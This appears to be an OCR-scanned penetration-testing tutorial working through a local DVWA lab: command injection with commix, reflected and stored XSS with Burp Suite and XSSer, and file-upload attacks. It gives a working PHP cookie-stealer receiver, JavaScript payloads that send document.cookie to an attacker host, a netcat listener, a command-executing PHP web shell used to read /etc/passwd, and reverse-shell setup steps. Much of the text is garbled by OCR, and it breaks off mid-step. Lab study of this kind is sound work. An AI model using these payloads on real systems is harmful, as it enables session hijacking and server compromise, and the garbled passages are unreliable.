AT R T
alter-shell=AL.. Se alternative os-shell (e.g. "Python”).
-os5-cmd=05_CHMD Execute a single operating system command.
- o5=05 Force back-end operating system (e.g. "Windows" or
‘Unix" ).
- -tamper=TAMPER Use given script(s) +or tampering injection data.
- -ms¥f-path=MSF_P.. set a local path where metasploit is installed.




ion:
options c e d to customize the de tion phase.

+orm (1-3, De

p-empty r g . »ar (5) with

ion tries,

5. Scan http://192.168.223.128/dvwa-linux/. Go to OS command injection

that detected by BurpSuite scanner. | chose the first OS command injection

issue.

Advisory Request Response

mmx In =

1 POST Jdvwa-linux/vulnerabilities/exec/ HTTP/SLl.1
2 Host: 152 188.Z223.1Z28

3 Content-Length: IZ5&

4 Cache-Control: max—-age=0

5 Upgrade-Insecure—Regquests: 1

HOL23dSNI

Origin: http:/f152_168.223.1Z28

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xgd)

AppleWebEit /53736 (EHTHML, like Gecko) Chrome/S98_0.4758.10Z2
SafarisE37.3E8

Aocept:

text/html, application/xhtml+txml  application/xml;gq=0_.%9, image/avif, im
age/webp, inagefapng, */*;gq=0_8,application/signed-exchange ;v=h3;¢g=0.
[=]

Beferer: http://192_168.223_ 128/ /dvwa-linux/vulnerabilities/exec/

11 Accept-Encoding: g=zip, deflate
12 Accept-Language: en—-GB,en-US;g=0_59, en;q=0_8

13 Cookie: PHPEESSID=isuigeelijEingimiuvcegsTmtlkTp:; security=low
14 Connection: close

le ip=10.0.0.Z2%26echo%208hwSknkqo3%205vkolcakswi 268 Subnit=5ubmnit


http://192.168.223.128/dvwa-linux/

6. Right click on the request of the OS command injection issue and copy it

to file. | named the file “dvwacominj1”. This is the file form:
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7. Copy the saved file for the request, in my case “dvwacominjl”to the linux

machine. | saved it in the folder /home/Hidaia/Desktop/dvwacominjl

8. From command line, go to /usr/share/commix folder. Under commix, right

the command:

# cd /usr/share/commix

# ./commix.py -r /nome/hidaia/Desktop/dvwacominjl
9. Test some of the Windows commands such as,

> whoami

commix( } > whoami

> net users

> Hostname



commix(

hidaia

> ifconfig

11. You can dump all available details on the server :

# ./commix,py -r /nome/hidaia/Desktop/ dvwacominjl--all

Fetching

Hostname: hidaia

Fetching current user.

Current user: ww-data

Testing if current user has excessive priv

Current user has excessive privileges: False

Fetching the underlying operating system information.

Operating system: Linux Kali 2022.4 xB86_64

Fetching content of the file "/fe wd® in order to enumerate cperating syste
Identified operating system users [55

‘root’ is root user (uld=0]). ory is in ' froot’.
‘daemon’ 1s system user (u . Hr ctory 1s in "Sfusr/sbin’.
'bin" is system user {uid=2). l: in ‘fbin’.

‘sys’ is system user (uids: Ho 0 in ‘fdev’.

‘sync’' is system user (: ). @ in “/bin’.

‘games’ is system user (uid=5). y is in " Jusr/gdames’.
‘'man’ is system user (uid=6). Ho directory is in '/Svar/cache/man’.
‘Ip* is system user | i :
) 'mail’ is system user ([ui 3 f in “/var/mail”.
D) 'news' is system user (uid=9). di L 5 in “Svar/spool/news” .
1) ‘uucp’ is system user (uid=19) me d - { is in 'J/var/spool/uucp’.

) 'proxy’ is system user (uld=1 1 b s an ‘J/bin’.
"wed-data’ iz system wser (uids Home dir is in “SvarSwsw .
‘backup’ is system user (uid J. Home directary in ‘fwvar/backups’.
‘list’ is system user [ui Home directory is in '/var/list’.

‘irc’ iz system user (uid=39). Home di tary iz in “JSrun/fired’.
‘_apt’ 1s system user {uid= Home directory 1s in ‘/nonexistent’.
"'nobody ' 1d=65534) . rectory is in '/nonexistont’.

) 'systemd-network 3 { 398 ), Home directory is im “/°

0) ‘mysql’ is regular user (uid=100] ¥y is in ‘/nonexistent’.

1) 'tss' iz regular user (uid=-101). Hoi ¥y iz in 'J/var/Llib/tpm’ .

11. To retrieve the passwords in the target hist, use the “--users --passwords”

{

options. But the options for “--passwords” only available for Linux not

windows. But | had no permission to show the shadow.txt file.



# ./commix.py -r /home/hidaia/Desktop/ dvwacominjl --users —

password

| | gedmy THat vou den"1 Kave i L
POST parameter "ip” is vulmerable. Do you want to prompt for a psewdo-terminal shell? [¥/n] > v

Pseudo-Terminal Shell {(type "7' for available options)

commlx|

12. | created small test file named as testl.txt in the Linux directory
“/var/www/html/dvwa-linux/vulnerabilities/exec”: To read file in the target

host use the switch “--file-read=F|”

# ./commix.py -r /home/hidaia/Desktop/ dvwacominjl--file-
read=test.txt

[ 1 [infa] Fetched file content: Thiz is test file for 0S5 command injection
POST parameter "ip’ is wvulnerable. Do you want to prompt for a pseudo-terminal shell? [¥/n] > y

Pseudo-Terminal Shell (type “?' for available options)

commix( 1

13. To upload file in the target host use the switch “--file-upload=FI” and you
must specify the destination using the switch “--file-dest=FI”. The command

is not supported for Windows server and only supported for Linux server.



13. SCAN RESULTS FOR CROSS SIDE
SCRIPTING (XSS) VULNERABILITY
WITH BURPSUITE, USING XSSER TO
EXPLOIT XSS INJECTION AND STEALING
WEB LOGIN SESSION COOKIES
THROUGH THE XSS INJECTION:

a) Cross Side Scripting (XSS)definitions:

1. "Cross-Site Scripting (XSS)" attacks are a type of injection problem, in
which malicious scripts are injected into the otherwise benign and trusted
web sites. XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side script, to a
different end user. Flaws that allow these attacks to succeed are quite
widespread and occur anywhere a web application using input from a user
in the output, without validating or encoding it. An attacker can use XSS to
send a malicious script to an unsuspecting user. The end user's browser has
no way to know that the script should not be trusted, and will execute the
JavaScript. Because it thinks the script came from a trusted source, the
malicious script can access any cookies, session tokens, or other sensitive
information retained by your browser and used with that site. These scripts

can even rewrite the content of the HTML page.

2. In a reflected XSS, the malicious code is not stored in the remote web
application, so requires some social engineering (such as a link via

email/chat).



3. The XSS is stored in the database. The XSS is permanent, until the

database is reset or the payload is manually deleted.

4. DOM Based XSS is a special case of reflected where the JavaScript is
hidden in the URL and pulled out by JavaScript in the page while it is
rendering rather than being embedded in the page when it is served. This
can make it stealthier than other attacks and WAFs or other protections

which are reading the page body do not see any malicious content.



b) Manual exploitation of Cross Side Scripting
XSS:

1. There is three types of Cross Side Scripting: Cross Side Scripting Reflected,
Cross Side Scripting Stored, Cross Side Script Dom.

2. In Reflected Cross Side Scripting, the script is executed in the victim side
and the script is not stored in the server. To understand the Reflected Cross
Side Scripting, go to the page http://localhost/dvwa/vulnerabilities/xss r/.
Write in the box html script as “<h1>Hello from Hidaia</h1>". It executed the

html code.

Vulnerability: Reflected Cross Site Scripting (XSS)

Hgsma
Instractions
Setwp | Reset DB

Vihat's youl name? Suberst

Coemmand Injection
CIRF

|
i
|
Brute Force J| ﬁ;'fl.'ln from Hidaia
J_

e If you input the following script “<script>alert('Hacked");</script>“,
you get the following response:



O localhostidevaiulnerabltesios, riname= <B2Froript s <soript> sl Hacked TS 3B < %2 Fteripi = # o

« If you input is the following script “<script>alert(document.cookie);
</script>”,we can access the cookie.

o bm Pon Mgy beteot Jen e
- [ e e T @ et ey e . o o_- i v — ¥ L I

. w Q 0 musbumt ta v e atren v e - ey ¢ st W wog - #

3. In stored Cross Side Scripting (XSS), the script is stored inside the server. So
every time we return to the page, script is executed. In

http://localhost/dvwa/vulnerabilities/xss_s/



e Enter name and execute the html code “<h1>Hello from Hidaia</h1>
inside the message box. We get the following output.

Imstructions '-‘-_

[Brute Force | Massage *

Command Injection | -. N 4
csef | Sn Gonsttook | Clear Goasticek |
FlleInchnion |
I
%‘ﬁ'ﬁ'e‘ | Helio from Hidaia

Weak Sesaioni0s

xsspowy | More Information

Eﬁ:’_ﬁ- ; 1_;' = il iorranperatniote Commieniteaited bovag
EED T
[CR Dy | ) ot e s s

Wiema 1 Vulnerability: Stored Cross Site Scripting (XSS)

e Enter name and execute the script code “<script>alert('Hacked');
</script>" inside the message box. We get the following output.

fie Lie jem Figpey Jowiemate Josis iy
B 0 b e il s ) O A g DY e W * Pty Tl [ bis 8 -

= s 0 D bt e e i g o







€)_Scan results for Cross Side Scripting_(XSS)
vulnerability with BurpSuite:

1. | am using the scan results for DVWA App installed in Windows on this
tutorial with the link address http://localhost/dvwa and the DVWA security

set to low.

2. | scanned the http://localhost/dvwa/ website in BurpSuite. | got the some

reflected cross site scripting XSS vulnerabilities with high severity.

3. In DVWA, | chose the reflected XSS vulnerability at the page
http://localhost/dvwa/vulnerabilities/xss_r/. | sent the request to the
Intruder. | cleared all tags and | only tagged the name field. | made the
security to be low as the reflected XSS vulnerability is effective on DVWA
when security is low. This is the request form:

B ey Sapd i iupeis Sk Sy B b B - I s L L T T T T [ ]

Cmibe s Twe " Terrda FeL Traer—r L e [T e [ ] et

[T [y Imame P e
T) Chssn wm piheh By =

e s Legas

C Faglsad Featams

{ gt e paesimsns e i s d Eind ey 45 B b T G B e T b

i
|
b

4. | setup the Attack type to be “Sniper”. You can test the payloads

<script>alert('Hacked');</script>


http://localhost/dvwa

<h1>Hello from Hidaia</h1>

From the “Response/Render” tab, you can check the response. It is noted

that the BurpSuite does not execute scripts but it executed the html code.
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— Vulnerability: Reflected Cross Site Scripting (X55)
: :
Rt | rn £ By s e e
Pt Farm J Helle from Hidaia
LR it sk |
::‘ bore information

T gt
= vemm—
pra—

5. Download the XSS payload list from.
https://github.com/payloadbox/xss-payload-list

6. | chose the downloaded Payload list with Sniper attack. But the BurpSuite
refused to execute the scripts in the payloads list and gave message that it

detected hacking attempt.
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7. In DVWA, | chose the stored XSS vulnerability at the page
http://localhost/dvwa/vulnerabilities/xss_rs/. | sent the request to the
Intruder. | cleared all tags and | only tagged the mtxMessage field. | made the
security to be low as the reflected XSS vulnerability is effective on DVWA

when security is low. This is the request form:
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8. | setup the Attack type to be “Sniper”. You can test the payload
<script>alert('Hacked');</script>

<h1>Hello from Hidaia</h1>

From the “Response/Render” tab, you can check the response. It is noted

that the BurpSuite does not execute scripts but it executed the html code.
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d)_Cross Side Scripting (XSS)_using XSSer tool:

1. Install XSSer in Linux machine installed in VMware using the command
# apt-get install XSSer

2. Type the command “xsser -h” to see the command in xsser.

usimg GET
ad wusing POST
umber of uwurls to rawl
2eping L of crawle
 of 1 on local target(

*Configure Request(s)*:

used to specif
choose multiple:

HTTP
HTTP

our HTTP
HTTP he

Authentl

nticati

=

TCP_NODEL
y r redi s [« ult: FALSE)
Set limit for redirection reque (default:




*Checker Systems#:
These options are useful to know if your target is using filters
agailnst XS5 attacks:

—hash Send a hash to check if target is repeating content
—heuristic Discover parameters filtered by using heuristics
discode=DISCODE Set code onm reply to discard am injectiom
—checkaturl=ALT Check reply using: <altermative url> [aka BLIND-XS5]
—checkmethod=ALTM Check reply using: GET or POST (default: GET)
--checkatdata=ALD Check reply using: <alternative payload>
—reverse-check Establish a reverse connectiom from target to XSSer

*Select Vector(s)*:
These options can be used to specify injection(s) code. Importamt if

you don"t want to inject a common XSS vector used by default. Choose
only one optiom:

-—payload=SCRIPT OWN - Imject your own code
—auto AUTO - Imject a list of vectors provided by X55er

*5Select Payload(s)x:

These options can be wsed to set the list of vectors provided by
XsSer. Choose only if regquired:

—auto-set=FZZ_NUM ASET - Limit of wvectors to imnject (default: 1293)
-—auto=-info AINFO - Select ONLY vectors with INFO (default: FALSE)
—auto-random ARAND - Set random to order (default: FALSE)

*Anti-antiXsSsS Firewall rules=:

These options can be wsed to try to bypass specific WAF/IDS products
and some anti-XS5S browser filters. Choose only if required:

— Phpids®.6.5 PHPIDS (®.6.5) [ALL]

-—Phpids®.7 PHPIDS (©.7) [ALL]

- Imperva Imperva Incapsula [ALL]
—Webknight WebKnight (&4.1) [Chrome]

— F5bigip F5 Big IP [Chrome + FF + Opera]
—Barracuda Barracuda WAF [ALL]

-—Modsec Mod-Security [ALL]
-—Quickdefense QuickDefense [Chrome ]

-=Sucuri SucuriwarF [ALLI]

-~ Firefox Firefox 12 [& below]

— Chrome Chrome 19 & Firefox 12 [& below]
—Opera Opera 10.5 [& below]

— Iexplorer IExplorer 9 & Firefox 12 [& below]

*Select Bypasser(s)x:
These options can be wsed to encode vector(s) and try to bypass
possible anti-XSS filters. They can be combined with other techniques:

—Str Use method String.FromCharCode( )

—Une Use Unescape() function

——Mix Mix String.FromCharCode() and Unescape()

—Dec Use Decimal encoding

— Hex Use Hexadecimal encoding

— Hes Use Hexadecimal encoding with semicolons

— Dwo Encode IP addresses with DWORD

—Doo Encode IP addresses with Octal

-— Cem=CEM Set different °"Character Encoding Mutations®
(reversing obfuscators) (ex: "Mix,Une,Str,Hex")




*Special Techniquel(s)*:
These options can be used to inj
techniques and fuzzing wvectors. You can choose multiple:

X5R [ :cripting
DCp i "0 ol injections
DOM

Final inject

optlions can sed to specity the fimal code to 1nject on

able target( jortant i want to exploit "on-the-wild’
the vulnerabilities fao . Choose one option:

— Fp=FINALPAYLDAD W Ex 11t Your own code
— Fr=FINALREMOTE REMOTE X it a script -remotely-

*Special Fimal injection(s )*:
These options can be d to execute some ‘special’ injection(s) on
vulnerable t:z =t(5). Yo can select multiple and combine them with
your fimal co

—Anchor Jse 'Anchor Stealth' payloader (DOM shadows!)
- BH4 B64 = o

ONM 3 louseMov X

IFR ¢ <iframe> source tag

Dos x client) Denial of

Doss

) Denial of

Inhibit console output results
Set limit of errors before check if target is alive
Check for latest stable version

3. For graphical user interface of XSSer, type the following command
# XSSer --gtk

4.1 am using the scan results for DVWA App installed in Windows on this
tutorial with the link address http://localhost/dvwa and the DVWA security set

to low. Copy the Reflected XSS request in BurpSuite to a file. | named the file


http://localhost/dvwa

dvwaxssril. My request had the following details:

dewuriw | - Kolagad
Fila Edf Foorad  View Halp
[BET sigewa vulnerabilities xss_r Fnase=111uuoBBE 3 soriptaies lert (1) R3c2Facr i ptEdey by HTTP/1.1
Host: localhost
sec-<h-pe; “Chromiom™; w="18F", “Hot_i Srand”;v="{%"
dg-Eh-ipa-moblile: 0
S@CaCh-ud -platforar “Windouws™
Upgrads - Inzecure-Regquests: 1
User-Agent: Morilla/S.0 (Wisdows HT 18.2; WinGd; xfd) Appleletdit/537. 36 (KHTHL, like Gacko) CReces/L109.8 5414, 75 Sefeci /537,36
Actept: text/ hial appllcatisa/shtalszal dpplication  xal ;q=0.9, image/avif, inage fvebp, Enage apng, =" (=08 agpl l catlen fil fred-exchange | v=b3,5-8.9
Sec-Ferch-Sive: sams-origis
SecsFetch-Mode: mavigate
Sec-Fetch-User: ¥
Sec-Fateh-Deik: document
Referar: hrop: frlacalhosefdnafvulnerabilitlios /e s/
Accept-Encoding: gedp, deflais
Accept-Languape: en-GH en-US q=0, 9, en;q=8, 8
Cookie: PHPSESSID=grdlvlfea{dTdabagfbvdnknb; secwrity=]low
Confection! clags

5. Test the following commands step by step for reflected Cross side Scripting:
e Execute xsser command for the main GET URL:

# xsser —url="http://10.0.0.4/dvwa/vulnerabilities/xss_r/?
name=33220eckc%3ca%20b%3dc%3easfas”

There is no valid output.
e | changed the name parameter to XSS
#xsser --url="http://10.0.0.4/dvwa/vulnerabilities/xss_r/?name=XSS"

| got the following output:
Final Results:

Injections: 1

Failed:

e Then | added the cookies switch

# xsser --url="http://10.0.0.4/dvwa/vulnerabilities/xss_r/?name=XSS" --
cookie="PHPSESSID=Irc8ms6smuvoub6p0fb5i3tm33; security=low"

| got the following output:



[*] Injection(s)

[FOUND 101] — [ 446547bS5d21&8l3caed58cB3acTag?ea ] : [ name

¥55 FOUMD! [WITHOUT reverse-check VALIDATION!]

e You can use also the following command form:

# xsser -u 'http://10.0.0.4/dvwa' -g '/vulnerabilities/xss_r/?name=XSS' --
cookie="PHPSESSID=Irc8ms6smuv9ub6p0fb5i3tm33; security=low"
e | used custom payload attack of the script “<script>alert(‘Hacked from
Hidaia’)</script>" with --Fp switch
#xsser --url="http://10.0.0.4/dvwa/vulnerabilities/xss_r/?name=XSS" --
cookie="PHPSESSID=Irc8ms6smuv9ub6p0fb5i3tm33; security=low" --Fp="

<script>alert(1)<script>"



e The following final attack URL gives this output while executing the
script.

http://10.0.0.4/dvwa/vulnerabilities/xss_r/?

name=%3Cscript%3Ealert%28%27Hacked+from+Hidaia%27%29%3C%2Fscript%
3E

3 10.0.04 /dvwafvulnerabilitiesfxss_rfnames= <script > alert('Hacked + from+Hidaia) < %2Fscript>
- 5

5 10.0.0.4

Hacked from Hidaia

e When | put --auto switch, it executes many payloads given by XSSer



#xsser --url="http://10.0.0.4/dvwa/vulnerabilities/xss_r/?name=XSS" --
cookie="PHPSESSID=Irc8ms6smuv9ub6p0fb5i3tm33; security=low" --auto

| got the following output for testing 1291 payloads, and 1287 payload were

successful:

[*] Injection(s) Results:

[FOUND 1!1!] = [ bb792f2d8541b90e1d5d293c23116758 ]

[*#*] Final Results:

Injections:

Fa &

SUCC ul:

Accur: 99.690162664601090 X

[*] List of X55 injections:

- CONGRATULATIONS: You have found: [ 1287 ] possible X55 vectors! ;-)

[Info] Aborting large screen output. Generating auto-report at: [ XSsreport.raw ] ;-)

6. Copy the Stored XSS request in BurpSuite to a file. | named the file

dvwaxsssl. My request had the following details
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e Execute xsser command for the main POST URL and use the payload
passed in POST request in the last line in the request file. | changed the
mtxMessage parameter to XSS

xsser -u 'http://10.0.0.4/dvwa/vulnerabilities/xss_s/' -p
'txtName=23h74d1%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign=Si
gn+Guestbook'

| got the following output:

e | added the cookies switch:

xsser -u 'http://10.0.0.4/dvwa/vulnerabilities/xss_s/' -p
'txtName=23h74d1%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign=Si
gn+Guestbook' --cookie 'PHPSESSID=tdIprsfO0eqlém0j8i34mab600;

security=low'



e | used then custom payload of the html code <h1>Hello from
Hidaia</h1> using the -Fp switch
# xsser -u 'http://10.0.0.4/dvwa/vulnerabilities/xss_s/' -p
'txtName=23h74d1%3ca%20b%3dc%3eoqjdn&mtxMessage=XSS&btnSign
=Sign+Guestbook' --cookie 'PHPSESSID=tdIprsf00eql6m0j8i34mab600;

security=low' --Fp '<h1>Hello from Hidaia</h1>'

| got the following output from the program:

Final Attack:

txtName=23h74d1%3Ca+b%3Dc%3Eoqgjdn&mtxMessage=%3Ch1%3EHello+fr
om+Hidaia%3C%2Fh1%3E&btnSign=Sign+Guestbook



e Go to the page http://localhost/dvwa/vulnerabilities/xss_s/ and set
intercept on BurpSuite “Proxy/Intercept” tab.

Change the request to include the final attack:

txtName=23h74d1%3Ca+b%3Dc%3Eoqgjdn&mtxMessage=%3Ch1%3EHello+fr
om+Hidaia%3C%2Fh1%3E&btnSign=Sign+Guestbook

So you will have the following request in “Proxy/Intercept” page of

BurpSuite
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When forwarding the request, the html code is executed and you will get the

following in the browser:



Vulnerability: Stored Cross Site Scripting (XSS)

Nams *
Kesiage *

Skon Gupthook | Clear Guesthaok

MNama 23hiTid

nello Trom Hidala



e)_Using_reflected XSS vulnerability to steal web login session

cookies:

This is example using DVWA (damn vulnerable web application) reflected
XSS vulnerability to steal web login session cookies

1. | am using the scan results for DVWA App installed in Windows on this
tutorial with the link address http://localhost/dvwa and the DVWA security

set to low.

2. Log on to DVWA application. Set the security to low. Then reset the
databases from https://localhost/dvwa/setup.php.

3. Go to the page that reflected XSS vulnerability has occurred
https://localhost/dvwa/vulnerabilities/xss_r/.

4. In the text put the following script that shows login cookie by writing:

<script>alert(document. cookie);</script>

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? | _<script>alent{document cool || Submit |

| got the following popup that shows part of the cookie and does not show

session ID.
B localhost/dveavulnerabdities/sis_rTname s <tonpt=alertf2idocumentoookte M2 RIB < N2 Feonpt=®

IS<alhGST Says

SeCunity = o



http://localhost/dvwa

5. In order to get the session ID, | used the BurpSuite. | set “Proxy/Intercept”
to be on. And in the page https://localhost/dvwa/vulnerabilities/xss_r/ text

box | put the following script that retrives the session cookie.

<script>alert(document.cookie);</script>

Vulnerability: Reflected Cross Site Scripting (XSS)

VWhal's your name? [ <script>alert{document J.:u-n'.l] t Submit J

This is the reflected XSS request as shown in BurpSuite:
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The Cookie: PHPSESSID=515ab63ga9qg4nqj2pm2lju7197; security=low

6. Install “Cookie Quick Manager” extension on Firefox. Within Cookie
Manager, find the line for DVWA application cookie and update the cookie
with the victim cookie to login with the victim credentials. The Cookie
enables us to hijack the login session by using the cookies of the victim. But

the victim is not going to hand the cookie to other.
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7. A cookie stealer is used to steal the SESSION data or cookie information
such as login details of any unsuspecting victim. Once the link is visited, the
cookie data of the user is taken and stored externally. They are then
redirected to another page without knowing what has just happened. This
cookie stealer will be made using PHP so a webhost supporting PHP will be
needed. A cookie stealer is made up of a sender and a receiver. The sender is
done using JavaScript so will work on almost any user providing JavaScript is
turned on. The receiver is placed on your site and takes the cookie from the

JavaScript cookie sender.

8. Here is a sample receiver code for your PHP file. The code above takes a
REQUEST parameter of ¢ from either a HTTP POST or as a GET parameter
from the URL (/script.php?c=[Cookie Data]). The details are stored in a text
log file although a database could also be used. Finally after logging the

cookie data the script redirects the victim back to an external URL.



<?php
$logFile = “cookielog.txt™;
Scookie = § REQUEST["c"]:

$handle = fopen(flogFile, "a™);
fwrite($handle, $cookie . “\n\n™);
fclose($handle);

header(“Location: http://www.google.com/");

exit;
2>

9. Next is the JavaScript sender:

<script>window. location = "httpa/Awwew.yourdomain.comsstealer.php?c=" + document.cookie:

</script>

Again change the URL to fit the actual location and name of your PHP script.
If the code above is successfully injected into a page (e.g. through XSS) then
as soon as the victim loads the page, they will be redirected to your cookie
stealer script. You could also load the URL into a frame to avoid the
redirection being noticed. That's all there is to it, you have now built a

successful cookie stealer.

10. In my example, | created cookie stealer php script stealer.php. | saved the
file in my XAMPP htdocs directory: The file stealer.php will forward the

request to http://www.google.com.

<?php

SlogFile = "cookielLog.txt";
Scookie =S REQUEST["c"];
Shandle = fopen(SlogFile, "a");
fwrite(Shandle, Scookie . "\n\n");
fclose(Shandle);

header("Location: http://www.google.com/");



exit;

>
11. Then | used the following command in the reflected XSS DVWA page
“http://localhost/dvwa/vulnerabilities/xss_r/” :

<script>window.location="http://10.0.0.4/stealer.php?c="+document.cookie;

</script>

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name'-’]fscnpl_:.mndaw location = 'IJi Suhn'u‘l

12. 1 got the victim cookie in the htdoc directory in the log file cookielLog.txt.

13. So you can send the victim the url. To decide the URL that you must send
the victim, just enter any script in the text box in the page that has reflected

XSS vulnerability. In my case

“http://localhost/dvwa/vulnerabilities/xss_r”

This is the URL when using the script <script>alert('Hacked');</script>

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>alert(‘Hacked");

</script>
Change the URL to include the cookie stealer script in the name attribute:

<script>window.location="http://10.0.0.4/stealer.php?c="+document.cookie;

</script>

http://localhost/dvwa/vulnerabilities/xss_r/?name=
<script>window.location="http://10.0.0.4/stealer.php?c="+document.cookie;

</script>


http://localhost/dvwa/vulnerabilities/xss_r/

Then you must encode the script from https://www.url-encode-decode.com/

http://localhost/dvwa/vulnerabilities/xss_r/?name=
%3Cscript%3Ewindow.location%3D%22http%3A%2F%2F10.0.0.4%2Fstealer.p
hp%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

You can shorten the url

14. You can also get the link by setting the “Proxy/Intercept” on to get the
request URL

http://localhost/dvwa/vulnerabilities/xss_r/?
name=%3Cscript%3Ewindow.location+%3D+%22http%3A%2F%2F10.0.0.4%2
Fstealer.php%3Fc%3D%22+%2B+document.cookie%3B%3C%2Fscript%3E&us
er_token=25a8feab25d088db4b9bcd175a425458
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f)_Using stored XSS vulnerability to steal web login session cooKies:

This is a tutorial how to steal log on cookie using stored cross site scripting.

1. 1 am going to use DVWA app in Windows device. In the stored cross site
scripting page http://10.0.0.4/dvwa/vulnerabilities/xss_s/. we need to
increase the text message length. In
D:\xampp\htdocs\dvwa\vulnerabilities\xss_s\index.php. Change the
maxlength from 50 100.

2. Example 1:

e In my first example, | created cookie stealer php script stealer.php. |
saved the file in my XAMPP htdocs directory: The file stealer.php will
forward the request to http://www.google.com.

<?php

SlogFile = "cookielLog.txt";

Scookie =S _REQUEST["c"];

Shandle = fopen(SlogFile, "a");

fwrite(Shandle, Scookie . "\n\n");

fclose(Shandle);

header("Location: http://www.google.com/");

exit;

>

e |n the stored cross site scripting page
http://10.0.0.4/dvwa/vulnerabilities/xss_s/, write the following line
in the message field:



<script>window.location="http://10.0.0.4/stealer.php?c="+document.cookie;

</script>

Vulnerability: Stored Cross Site Scripting (XSS)

Mama * Tast
<scrpt>window location="htlp://10.0.0.4
Message * fstealer phpPe="+document. cookie;</scnpl>
i
Sign Guestbook | | Clear Guestbook
e When the victim will go to

http://10.0.0.4/dvwa/vulnerabilities/xss_s and tries to read the text
message, the script stealer.php will be executed and he will be
forwarded to www.google.com and the cookie will be logged in the
log file cookielLog.txt according to the script. You can change the
stealer.php according to your need.

3. Example 2:

In the second example, | am going to use a machine with an IP address of
192.168.223.128 as the attacker machine that will hack the cookie in the

victim computer.

e Go to the stored cross site scripting page
http://10.0.0.4/dvwa/vulnerabilities/xss_s/, write the following script
in the message field:

<script>new image().src="
http://192.168.223.128/b.php?”+document.cooki; </script>


http://10.0.0.4/dvwa/vulnerabilities/xss_s
http://www.google.com/

Vulnerability: Stored Cross Site Scripting (XSS)

Name * | Cookie| |

<serfipt=new imagei),sg=" http./(192.168.223.128

7" i <l
Message * /b php?+document_cooki; </scripl=

b

Sign Guestbook | Clear Guestbook

e |n the attacker computer 192.168.223.128, | wrote the following
netcat command to set up netcat listener to port 80.

# netcat -nvlp 80

e Go to other browser to the stored cross site scripting page
http://10.0.0.4/dvwa/vulnerabilities/xss_s/ and open to the message

that we stored a script in it. The session cookie will be reflected on
netcat session.



14. EXPLOITING FILE UPLOAD
VULNERABILITY:

a) File upload vulnerability definition:
1. Uploaded files represent a significant risk to web applications. The first

step in many attacks is to get some code to the system to be attacked. Then
the attacker only needs to find a way to get the code executed. Using a file

upload helps the attacker accomplish the first step.

2. The consequences of unrestricted file upload can vary, including
complete system takeover, an overloaded file system, forwarding attacks to
backend systems, and simple defacement. It depends on what the

application does with the uploaded file, including where it is stored.



b)_File upload using DVWA App installed in
Kali-Linux:

1. On this tutorial | am going to use the DVWA application installed in Kali
Linux. The IP address of the Kali Linux machine distinguish it from DVWA in
windows is 192.168.223.128. The DVWA security set to low So the link to
DVWA application in Kali Linux machine

http://192.168.223.128/dvwa-linux

2. File upload vulnerability is the vulnerability that allows the hacker or

attacker their malicious script or program to get remote code execution

3. In DVWA file upload page http:// 192.168.223.128/dvwa-

linux/vulnerabilities/upload/ we can upload files.

4 Kali linux /usr/share/webshells folder comes with a lot of PHP shells in the
folder /usr/share/webshells/php. | am going to use the shell
/usr/share/webshells/php/simple-backdoor.php. | copied the file to my home
directory /home/Hidaia

# cp /usr/share/webshells/php/simple-backdoor.php /home/Hidaia
The simple-backdoor.php file has the following form:

<?php
if(isset(S_REQUEST['cmd'])){
echo "<pre>";
Scmd = (S_REQUEST['emd']);
system(Scmd);
echo "</pre>";
die;



}

>
5. In DVWA set the security low and in file upload page http://
192.168.223.128/dvwa-linux/vulnerabilities/upload/ upload the shell in
Jusr/share/webshells/php/simple-backdoor.php  that |  copied to
/home/Hidaia/simple-backdoor.php. | got message that the file is uploaded
in ../../hackable/uploads/simple-backdoor.php.

Vulnerability: File Upload

The PHP module GD is not Installed.

Choose an image 1o upload:
Browse... | No file selected
Upload

..f../hackable/uploads/simple-backdoor.php succesfully uploaded!

6. Now we can access the php shell using the link

http://192.168.223.128/dvwa-
linux/vulnerabilities/upload/../../hackable/uploads/simple-backdoor.php

You will be forwarded to page http://192.168.223.128/dvwa-
linux/hackable/uploads/simple-backdoor.php

- C G & 192.968.2.23.1 28/ dvwa-inux/hackable/uploads/simple-backdoor.php
Usage: http:/target.com/simple-backdoor.phpTemd=cat+/¢etc/passwd
7. Now we can run any command using cmd parameter in the link

http://192.168.223.128/dvwa-linux/hackable/uploads/simple-backdoor.php?

cmd=cat+/etc/passwd

We get the /etc/passwd file.



3 & O B 1921682251 28/dvwa-inuih

rootixididireat:/root: fusribinSsh

daeson:x: 1: Lideeson: fusr/sbin: fusr/sbin/nalogln
blarx:2:2:bdne/bdn: fusr/sbin/nologin

sysin: 3 dasyss SdeveSusr/sbin/nalogin

sy 4rEssMsync L bin: folnfsynec

gamesii 5160 gane s fusr/ganes: fusr/shin/nologin
mantxt b1l imant Svarfcache fman: fusr/sbin/nologin
IpaxiTidelpe/varSspooal flpd: fusr/sbin/mologin
mailix:B:Bimalli fvar/mall :Ju:r!:hln,ﬂ'mln-sh

mews 3D newt i fvar fipool fnews: fuir febinsnologin
wutpin: 100 10 wecp i AvarSapoalfuucp: fusr fabindnologin
proxy:xi 1313 proxy s bdn: fusrfibin/nologin

v =data i x: 332 B3 o= data s S varSweat fusrSabinnolagln

8. If I try Is command as example, it will list the files in any directory you
choose as long as the shell can have permission to access the directory. As

example | chose to list the files in the directory /etc/

http://192.168.223.128/dvwa-linux/hackable/uploads/simple-backdoor.php?

cmd=ls /etc

clcable/uploadssemple-badodoor.php Tomd = cat



c) Reverse shell file upload:

1. Kali linux /usr/share/webshells folder comes with a lot of PHP shells in the
folder /usr/share/webshells/php. | am going to use the shell
/usr/share/webshells/php/php-reverse-shell.php. | copied the file to my

home directory /home/Hidaia
# cp /usr/share/webshells/php/php-reverse-shell.php /home/Hidaia

2. Edit the php-reverse-shell.php to point to the attacker IP address which is
my Kali Linux machine: 192.168.223.128. And make change of the port. |
used port 4444

47 set _time limit

48

49 02.168.223.128 J// CHANGE THIS
50 // CHANGE THIS

51 '

52

53 null

54 'uname -a; w; 1id; /bin/sh -1’
55 |

56

3. In DVWA set the security low and in file upload page
http://192.168.223.128/dvwa-linux/vulnerabilities/upload/

4. Now we can access the php shell using the link
